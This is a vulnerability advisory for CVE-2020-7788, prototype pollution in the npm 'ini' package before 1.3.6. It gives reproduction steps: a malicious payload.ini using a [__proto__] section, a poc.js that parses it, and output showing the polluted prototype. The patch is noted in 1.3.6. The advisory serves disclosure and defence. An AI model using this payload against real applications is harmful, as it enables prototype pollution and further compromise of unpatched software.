ini before 1.3.6 vulnerable to Prototype Pollution via ini.parse

Open Source Vulnerabilities CVE-2020-7788

This affects the package ini before 1.3.6. If an attacker submits a malicious INI file to an application that parses it with ini.parse, they will pollute the prototype on the application. This can be exploited further depending on the context.

Open Source Vulnerabilities GHSA-qqgx-2p2h-9c37

### Overview The `ini` npm package before version 1.3.6 has a Prototype Pollution vulnerability. If an attacker submits a malicious INI file to an application that parses it with `ini.parse`, they will pollute the prototype on the application. This can be exploited further depending on the context. ### Patches This has been patched in 1.3.6. ### Steps to reproduce payload.ini ``` [__proto__] polluted = "polluted" ``` poc.js: ``` var fs = require('fs') var ini = require('ini') var parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8')) console.log(parsed) console.log(parsed.__proto__) console.log(polluted) ``` ``` > node poc.js {} { polluted: 'polluted' } { polluted: 'polluted' } polluted ```